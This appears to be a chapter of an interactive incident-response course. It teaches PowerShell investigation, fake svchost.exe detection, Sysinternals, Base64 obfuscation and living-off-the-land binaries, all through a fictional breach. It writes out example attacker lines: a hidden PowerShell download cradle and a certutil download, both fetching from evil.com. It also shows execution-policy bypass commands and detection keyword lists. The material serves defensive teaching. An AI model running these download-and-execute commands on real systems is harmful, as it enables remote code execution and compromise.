Chapter 12: Digging Deeper
Arc 3: Security Incident

"Digging Deeper" — PowerShell Investigation & Process Analysis

Armed with PowerShell, you dig into t.manning's activity across the domain. Then you examine Marcus's laptop and find the smoking gun — a fake svchost.exe running a Base64-encoded reverse shell.

PowerShell Fundamentals

PowerShell is not just another command line — it is a complete scripting and automation framework built on the .NET runtime. While the traditional Command Prompt (cmd.exe) works with text strings, PowerShell works with objects. This distinction is fundamental. When you run Get-Process, PowerShell does not return a wall of text — it returns a collection of Process objects, each with properties like Name, Id, CPU, Path, and WorkingSet64. You can filter, sort, transform, and export those objects without ever parsing text.

Cmdlets follow a strict Verb-Noun naming pattern. The verb describes the action (Get, Set, New, Remove, Start, Stop, Invoke), and the noun describes the target (Process, Service, ADUser, WinEvent). This consistency means you can guess command names: if Get-Process lists processes, then Get-Service probably lists services — and it does.

The Pipeline (|) is what makes PowerShell powerful. It passes objects from one cmdlet to the next. Unlike Unix pipes that pass text, PowerShell pipes pass structured objects with all their properties intact. A typical investigation command chains several cmdlets together:

Get-Process | Where-Object {$_.CPU -gt 100} | Select-Object Name, Id, CPU | Sort-Object CPU -Descending | Format-Table

This command gets all processes, filters to those consuming more than 100 CPU seconds, selects three properties, sorts by CPU usage descending, and formats as a table. Each | passes objects — not text — to the next cmdlet.

Key Pipeline Cmdlets:

  • Where-Object { } — Filters objects by condition. The $_ variable represents the current object. Comparison operators: -eq (equals), -ne (not equal), -gt (greater than), -lt (less than), -like (wildcard match), -match (regex match), -contains (collection contains value), -notlike, -notmatch.
  • Select-Object — Picks specific properties from objects. Use -First N to take only the first N results. Use -ExpandProperty to unwrap a single property's value.
  • Sort-Object — Sorts by a property. Add -Descending for reverse order.
  • Format-Table — Displays output as a formatted table. Use -AutoSize for compact output, -Wrap for long values.
  • Format-List — Displays output as a vertical list (one property per line). Best for viewing many properties on a single object.
  • Export-Csv — Exports objects to a CSV file for analysis in Excel or other tools. Example: Get-Process | Export-Csv processes.csv.
Why Objects Matter for Investigation: Because PowerShell works with objects, you can filter on exact property values instead of parsing text with regex. Searching for all processes running from C:\Users\ is one line: Get-Process | Where-Object {$_.Path -like "C:\Users\*"}. In the old cmd.exe world, you would need tasklist piped through findstr and would likely miss edge cases.

PowerShell for Investigation

The following cmdlets form your core investigation toolkit. Each one queries a different data source on the system. During an incident, you will chain these together to follow the trail of a compromised account or suspicious process.

CmdletPurposeExample
Get-WinEvent -FilterHashtable Query Windows event logs. The -FilterHashtable parameter accepts a hashtable with keys like LogName, Id, StartTime, and ProviderName. Far more efficient than Get-EventLog because filtering happens at the provider level. Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624}
Get-ADUser -Properties * Query Active Directory for user account details. By default, Get-ADUser returns only a limited set of properties. Add -Properties * to get everything — account status, last logon date, password last set, group memberships, description, and more. Get-ADUser t.manning -Properties *
Get-ADGroupMember List all members of an Active Directory group. Use -Recursive to include members of nested groups. Critical for answering "who has admin access?". Get-ADGroupMember "IT-Admins" -Recursive
Get-ScheduledTask List all scheduled tasks on a system. Attackers frequently create scheduled tasks for persistence — they survive reboots and run automatically. Pipe to Where-Object to filter by state or task name. Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'}
Get-Process List running processes with details including PID, CPU time, memory usage, and file path. The .Path property reveals where the executable lives on disk — critical for detecting masquerading processes. Get-Process | Where-Object {$_.Path -notlike "C:\Windows\*"}
Get-Service List Windows services with their current status (Running, Stopped) and startup type (Automatic, Manual, Disabled). Services are a common persistence mechanism. Get-Service | Where-Object {$_.Status -eq 'Running'}
Get-ChildItem -Recurse -Force Search the file system recursively. The -Force flag includes hidden and system files. Use -Filter or -Include to search for specific file types. Get-ChildItem C:\Users\ -Recurse -Force -Filter *.exe
Get-FileHash Compute cryptographic hash (SHA256, SHA1, MD5) of a file. Use to verify file integrity or compare against known-good hashes. Two files with the same SHA256 hash are identical; different hashes mean different files. Get-FileHash C:\suspect.exe -Algorithm SHA256
Get-NetTCPConnection Display active TCP connections with local/remote addresses, ports, state, and the owning process ID. The PowerShell equivalent of netstat -ano but with proper object output for filtering. Get-NetTCPConnection | Where-Object {$_.RemotePort -eq 4444}
Select-String Search for text patterns in files — the PowerShell equivalent of grep. Supports regex patterns. Use -Path with wildcards to search across multiple files. Select-String -Path C:\Logs\*.log -Pattern "t.manning"
Invoke-Command Execute a command on one or more remote computers using PowerShell Remoting (WinRM). Returns objects from the remote machine. Essential for investigating multiple systems from one console. Invoke-Command -ComputerName MD-WEB01 -ScriptBlock {Get-Process}
Enter-PSSession Start an interactive PowerShell session on a remote computer. Your prompt changes to reflect the remote machine. Use Exit-PSSession to return to the local machine. Enter-PSSession -ComputerName MD-WEB01

Execution Policies

PowerShell Execution Policies control which scripts are allowed to run. They are a safety net against accidentally running untrusted scripts — but they are not a security boundary. An attacker with console access can bypass them trivially. Still, understanding them is essential because they explain why a legitimate script might refuse to run, and they appear in investigation findings.

PolicyScripts AllowedUse Case
Restricted No scripts can run. Individual commands at the prompt still work. Default on Windows client machines. Maximum safety but prevents automation.
AllSigned Only scripts signed by a trusted publisher can run. Prompts for unknown publishers. Enterprise environments where all scripts must be code-signed by IT.
RemoteSigned Local scripts run freely. Scripts downloaded from the internet must be signed. Default on Windows Server. Good balance of safety and convenience.
Unrestricted All scripts run. Warns (but does not block) scripts downloaded from the internet. Development environments. Not recommended for production.
Bypass Nothing is blocked, nothing is warned. All scripts run silently. Used programmatically when a parent application runs PowerShell scripts. Attackers use -ExecutionPolicy Bypass to dodge restrictions.
Important: Execution policies are not a security feature. An attacker can bypass them by running powershell -ExecutionPolicy Bypass -File malware.ps1, by piping script content directly to PowerShell, or by using -EncodedCommand with a Base64-encoded script block. The Meridian attacker used -EncodedCommand precisely for this reason.

Process Analysis — Hunting the Fake

When you suspect a process is malicious, you need to check several indicators systematically. A single red flag might be benign, but multiple red flags on the same process is a strong signal. Here is what to examine:

IndicatorWhat to CheckLegitimate ExampleSuspicious Example
Parent-Child Relationship Every process has a parent. Certain system processes should only have specific parents. An unexpected parent means something spawned the process abnormally. svchost.exe spawned by services.exe (PID 684) svchost.exe spawned by explorer.exe or cmd.exe
Executable Path System processes live in specific directories. Any system process running from an unusual path is immediately suspicious. C:\Windows\System32\svchost.exe C:\Users\m.chen\AppData\Local\Temp\svchost.exe
Running User System processes run as SYSTEM, LOCAL SERVICE, or NETWORK SERVICE. User-level system process names are wrong. svchost.exe running as NT AUTHORITY\SYSTEM svchost.exe running as MERIDIAN\m.chen
Command-Line Arguments Legitimate svchost.exe always runs with -k <servicegroupname>. PowerShell with -EncodedCommand or -nop -w hidden is highly suspicious. svchost.exe -k netsvcs -p powershell.exe -nop -w hidden -EncodedCommand cG93...
Network Connections Does the process maintain unusual outbound connections? System processes rarely connect to external IPs. A process connecting to an unfamiliar IP on an unusual port is suspect. DNS client connecting to 10.10.10.10:53 (internal DNS) svchost.exe connecting to 203.0.113.42:4444 (external)
Loaded DLLs Unexpected DLLs loaded into a process can indicate DLL injection or side-loading. Look for DLLs loaded from Temp directories or user profiles. DLLs from C:\Windows\System32\ DLLs from C:\Users\m.chen\AppData\
Digital Signature Legitimate Microsoft binaries are signed with a Microsoft code-signing certificate. Use Get-AuthenticodeSignature or Sigcheck to verify. Signed: CN=Microsoft Windows, O=Microsoft Corporation Not signed, or signed by an unknown publisher
The Smoking Gun on Marcus's Laptop: The fake svchost.exe on MD-WS-ENG05 hits every red flag: wrong path (C:\Users\m.chen\AppData\Local\Temp\), wrong user (MERIDIAN\m.chen instead of SYSTEM), wrong parent (not spawned by services.exe), active connection to 203.0.113.42:4444, and no valid digital signature. Any one of these would warrant investigation. All of them together is confirmation of compromise.

Sysinternals Suite — The Investigator's Toolkit

The Sysinternals Suite is a collection of advanced diagnostic and troubleshooting tools created by Mark Russinovich (now CTO of Microsoft Azure). These tools provide a depth of visibility into Windows internals that no built-in tool matches. Every Windows incident responder carries these in their toolkit.

ToolWhat It DoesInvestigation Use
Process Explorer An advanced Task Manager replacement. Shows a process tree with parent-child relationships, loaded DLLs, open handles, GPU usage, .NET assemblies, and VirusTotal integration. Visualize the entire process tree to spot anomalous parent-child relationships. Right-click any process to check its properties, verify its digital signature, or submit its hash to VirusTotal.
Process Monitor Real-time monitoring of file system, registry, network, process, and thread activity. Captures every operation at a granular level with microsecond timestamps. Set filters to watch a suspicious process in real time. See every file it reads/writes, every registry key it touches, and every network connection it makes. Essential for understanding what malware actually does.
Autoruns Shows every program configured to start automatically — Run keys, scheduled tasks, services, drivers, Winlogon entries, browser helpers, Winsock providers, and dozens more. The definitive tool for finding persistence mechanisms. If an attacker has planted a backdoor that survives reboot, Autoruns will find it. Color-codes unsigned entries and integrates with VirusTotal.
TCPView Real-time display of all TCP and UDP connections with the owning process name, PID, remote address, port, and connection state. A graphical netstat -ano that updates live. Watch for processes establishing connections to unknown external IP addresses. Immediately see which process is phoning home to a C2 server.
Strings Extracts all printable strings (ASCII and Unicode) from a binary file. Does not execute the file — purely static analysis. Reveal embedded IP addresses, URLs, registry paths, commands, or error messages inside a suspicious binary without running it. The fake svchost.exe might contain hardcoded C2 server addresses.
Sigcheck Verifies the digital signature of files and reports the signer, timestamp, and whether the signature is valid. Can also submit hashes to VirusTotal. Quickly distinguish a real Microsoft binary from a fake. If svchost.exe is not signed by Microsoft, it is not the real svchost.exe.

Base64 Encoding — The Attacker's Cloak

Base64 is an encoding scheme that converts binary data (or text) into a string of printable ASCII characters. It uses a 64-character alphabet (A-Z, a-z, 0-9, +, /) plus = for padding. Base64 is not encryption — it provides zero security. Anyone can decode it instantly. Its legitimate purpose is to safely transmit binary data through text-only channels (email attachments, JSON payloads, data URIs).

Why do attackers use it? Not for security, but for obfuscation. A command like:

powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/shell.ps1')"

...is immediately flagged by antivirus and security tools that scan command-line arguments for keywords like IEX, DownloadString, Net.WebClient. But Base64-encode that same command, and it becomes:

powershell -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0A...

To a naive scanner, that looks like random characters. The -EncodedCommand parameter tells PowerShell to decode the Base64 and execute the result. This is why security teams specifically monitor for -EncodedCommand and -e (its alias) in process command lines.

Decoding in PowerShell:

[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABjAGwAaQBlAG4AdAA...'))
Note: PowerShell's -EncodedCommand uses Unicode (UTF-16LE) encoding, not UTF-8. This means you must use [System.Text.Encoding]::Unicode to decode it properly. Using UTF-8 will produce garbled output. The attacker may also use UTF-8 for other payloads — check both if the first decode attempt produces garbage.

LOLBins — Living Off the Land

LOLBins (Living Off the Land Binaries) are legitimate, Microsoft-signed executables that attackers repurpose for malicious activity. Because they are trusted system binaries, they bypass application whitelisting, do not trigger antivirus alerts, and blend into normal system activity. The attacker brings no tools of their own — they use Windows against itself.

The most dangerous tool on a Windows machine is already installed: powershell.exe. It can download files, execute remote scripts, encode/decode data, access the registry, manage services, and communicate over the network — everything an attacker needs, in a single trusted binary.

Common LOLBins used by attackers include:

  • powershell.exe — Execute arbitrary scripts, download payloads, establish reverse shells. The Meridian attacker used it with -EncodedCommand to hide the payload.
  • certutil.exe — A certificate utility that can also download files from the internet (certutil -urlcache -f http://evil.com/payload.exe payload.exe) and encode/decode Base64.
  • mshta.exe — Executes HTML Applications (.hta files), which can contain VBScript or JavaScript that runs with full user privileges.
  • rundll32.exe — Executes DLL functions. Attackers use it to run malicious DLLs or execute JavaScript via rundll32 url.dll,FileProtocolHandler.
  • schtasks.exe — Creates scheduled tasks for persistence. The Meridian attacker used this to schedule the Base64 PowerShell reverse shell to run every day at 2 AM.
  • wmic.exe — Windows Management Instrumentation command-line tool. Can execute processes, query system information, and even run code on remote machines.
Detection Strategy: Since you cannot block these binaries (they are essential Windows components), detection focuses on how they are used. Monitor for suspicious command-line arguments: -EncodedCommand, -nop, -w hidden, IEX, DownloadString, -urlcache. Windows Event ID 4104 (PowerShell Script Block Logging) captures the decoded commands, defeating Base64 obfuscation entirely.

The PowerShell Pipeline — Objects, Not Text

Click any stage in the pipeline to learn what happens at that step. Each stage passes objects with their full properties to the next stage.

Process Tree — Legitimate vs. Fake svchost.exe

Compare the legitimate svchost.exe process hierarchy (left, green) with the fake svchost.exe found on Marcus's laptop (right, red). Click any node for details.

Legitimate svchost.exe
System (PID 4)
smss.exe (PID 312)
wininit.exe (PID 456)
services.exe (PID 684)
svchost.exe (PID 892)
Path: C:\Windows\System32\svchost.exe
User: NT AUTHORITY\SYSTEM
Args: -k netsvcs -p
Signed: Microsoft Corporation
svchost.exe (PID 1024)
Path: C:\Windows\System32\svchost.exe
User: NT AUTHORITY\NETWORK SERVICE
Args: -k NetworkService -p
FAKE svchost.exe
explorer.exe (PID 5280)
User: MERIDIAN\m.chen
cmd.exe (PID 7812)
User: MERIDIAN\m.chen
svchost.exe (PID 8344)
Path: C:\Users\m.chen\AppData\Local\Temp\svchost.exe
User: MERIDIAN\m.chen
Args: (none)
Signed: NOT SIGNED
Network: 203.0.113.42:4444
RED FLAGS: Wrong path • Wrong parent • Wrong user • No args • Not signed • C2 connection

Process Explorer View — MD-WS-ENG05 (Marcus's Workstation)

Click any process to inspect its properties, DLLs, and security context. The suspicious process is flagged in red.

X-Ray: PowerShell Investigation of t.manning

Walk through the step-by-step PowerShell investigation. Each command reveals another piece of the puzzle — from querying Active Directory to decoding the attacker's Base64 payload.

Press Play to begin X-Ray walkthrough...

Security Lab: PowerShell Investigation & Process Analysis

Scenario: Sarah has handed you the investigation. You need to use PowerShell to trace t.manning's activity across the Meridian Dynamics domain, then pivot to Marcus Chen's workstation (MD-WS-ENG05) to analyze a suspicious process. Start on the Domain Controller (MD-DC01), investigate t.manning's account and recent activity, then examine the compromised machines.
1
Query t.manning's Active Directory account. Check if it is enabled, when the password was last set, when the last logon occurred, and what groups the account belongs to.
Hint: Get-ADUser t.manning -Properties * | Select-Object Name,Enabled,LastLogonDate,PasswordLastSet,MemberOf
2
Search the Security event log for successful logon events (Event ID 4624) associated with t.manning. Look for the source IP address and logon type.
Hint: Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} | Where-Object {$_.Properties[5].Value -eq 't.manning'}
3
Check what network shares t.manning accessed by querying Event ID 5140 (network share object accessed).
Hint: Get-WinEvent -FilterHashtable @{LogName='Security';Id=5140} | Where-Object {$_.Properties[1].Value -eq 't.manning'}
4
Switch to MD-WEB01. List all scheduled tasks in the 'Ready' state. Look for anything that does not match standard Windows task names.
Hint: Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'}
5
Examine the suspicious scheduled task in detail. What does it run? When does it trigger? Who created it?
Hint: Get-ScheduledTask -TaskName "WindowsUpdate" | fl *
6
The task contains a Base64-encoded command. Decode it to reveal the attacker's actual payload.
Hint: [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABjAGwAaQBlAG4AdAAgAD0A...'))
7
On Marcus's laptop (MD-WS-ENG05): Find all running processes whose executable path is NOT in C:\Windows\ or C:\Program Files\. Look for anything running from user profile directories.
Hint: Get-Process | Where-Object {$_.Path -notlike "C:\Windows\*" -and $_.Path -notlike "C:\Program Files\*"}
8
Use WMIC to examine all svchost.exe instances. Check the executable path and command line of each one. Which one is the imposter?
Hint: wmic process where "name='svchost.exe'" get ProcessId,ExecutablePath,CommandLine

Terminal — MD-DC01 (Domain Controller)